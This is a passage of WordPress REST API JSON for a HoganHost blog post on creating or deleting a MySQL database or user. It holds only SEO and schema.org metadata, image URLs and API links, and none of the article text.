oganhostng\",\"https:\/\/instagram.com\/officialhoganhost\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a\",\"name\":\"Abigal okon\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g\",\"caption\":\"Abigal okon\"},\"sameAs\":[\"https:\/\/hoganhost.com.ng\/blog\"],\"url\":\"https:\/\/hoganhost.com.ng\/blog\/author\/admin\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"How To Create or Delete a MySQL Database or User","description":"We will show you how effortless it is to create the database and the database user and assign that user to your new database. This","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-create-or-delete-a-mysql-database-or-user\/","og_locale":"en_US","og_type":"article","og_title":"How To Create or Delete a MySQL Database or User","og_description":"We will show you how effortless it is to create the database and the database user and assign that user to your new database. This","og_url":"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-create-or-delete-a-mysql-database-or-user\/","og_site_name":"HoganHost blog","article_publisher":"https:\/\/facebook.com\/HoganHost","article_published_time":"2021-09-07T22:52:36+00:00","article_modified_time":"2024-08-12T12:34:44+00:00","og_image":[{"width":565,"height":133,"url":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/new-cpanel-mysql-database.png","type":"image\/png"}],"author":"Abigal okon","twitter_card":"summary_large_image","twitter_creator":"@hoganhostng","twitter_site":"@hoganhostng","twitter_misc":{"Written by":"Abigal okon","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-create-or-delete-a-mysql-database-or-user\/#article","isPartOf":{"@id":"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-create-or-delete-a-mysql-database-or-user\/"},"author":{"name":"Abigal okon","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a"},"headline":"How To Create or Delete a MySQL Database or User","datePublished":"2021-09-07T22:52:36+00:00","dateModified":"2024-08-12T12:34:44+00:00","mainEntityOfPage":{"@id":"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-create-or-delete-a-mysql-database-or-user\/"},"wordCount":799,"commentCount":0,"publisher":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#organization"},"image":{"@id":"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-create-or-delete-a-mysql-database-or-user\/#primaryimage"},"thumbnailUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/new-cpanel-mysql-database.png","articleSection":["Database","wordpress"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-create-or-delete-a-mysql-database-or-user\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-create-or-delete-a-mysql-database-or-user\/","url":"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-create-or-delete-a-mysql-database-or-user\/","name":"How To Create or Delete a MySQL Database or User","isPartOf":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-create-or-delete-a-mysql-database-or-user\/#primaryimage"},"image":{"@id":"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-create-or-delete-a-mysql-database-or-user\/#primaryimage"},"thumbnailUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/new-cpanel-mysql-database.png","datePublished":"2021-09-07T22:52:36+00:00","dateModified":"2024-08-12T12:34:44+00:00","description":"We will show you how effortless it is to create the database and the database user and assign that user to your new database. This","breadcrumb":{"@id":"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-create-or-delete-a-mysql-database-or-user\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-create-or-delete-a-mysql-database-or-user\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-create-or-delete-a-mysql-database-or-user\/#primaryimage","url":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/new-cpanel-mysql-database.png","contentUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2021\/09\/new-cpanel-mysql-database.png","width":565,"height":133},{"@type":"BreadcrumbList","@id":"https:\/\/hoganhost.com.ng\/blog\/wordpress\/how-to-create-or-delete-a-mysql-database-or-user\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/hoganhost.com.ng\/blog\/"},{"@type":"ListItem","position":2,"name":"How To Create or Delete a MySQL Database or User"}]},{"@type":"WebSite","@id":"https:\/\/hoganhost.com.ng\/blog\/#website","url":"https:\/\/hoganhost.com.ng\/blog\/","name":"HoganHost blog","description":"Keeping you connected to everything from HoganHost","publisher":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hoganhost.com.ng\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/hoganhost.com.ng\/blog\/#organization","name":"HoganHost","url":"https:\/\/hoganhost.com.ng\/blog\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/","url":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png","contentUrl":"https:\/\/hoganhost.com.ng\/blog\/wp-content\/uploads\/2022\/09\/hogan-host.png","width":466,"height":387,"caption":"HoganHost"},"image":{"@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/facebook.com\/HoganHost","https:\/\/x.com\/hoganhostng","https:\/\/instagram.com\/officialhoganhost"]},{"@type":"Person","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/af16a18c6cc966b92a6cb13b500f3f0a","name":"Abigal okon","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/hoganhost.com.ng\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/ef2272070d016c06ee69b30adce7c4e4b4faaa5c899c4b9224a5b1a43b1fb8d0?s=96&d=mm&r=g","caption":"Abigal okon"},"sameAs":["https:\/\/hoganhost.com.ng\/blog"],"url":"https:\/\/hoganhost.com.ng\/blog\/author\/admin\/"}]}},"_links":{"self":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts\/534","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/comments?post=534"}],"version-history":[{"count":2,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts\/534\/revisions"}],"predecessor-version":[{"id":546,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/posts\/534\/revisions\/546"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/media\/535"}],"wp:attachment":[{"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/media?parent=534"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/categories?post=534"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hoganhost.com.ng\/blog\/wp-json\/wp\/v2\/tags?post=534"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}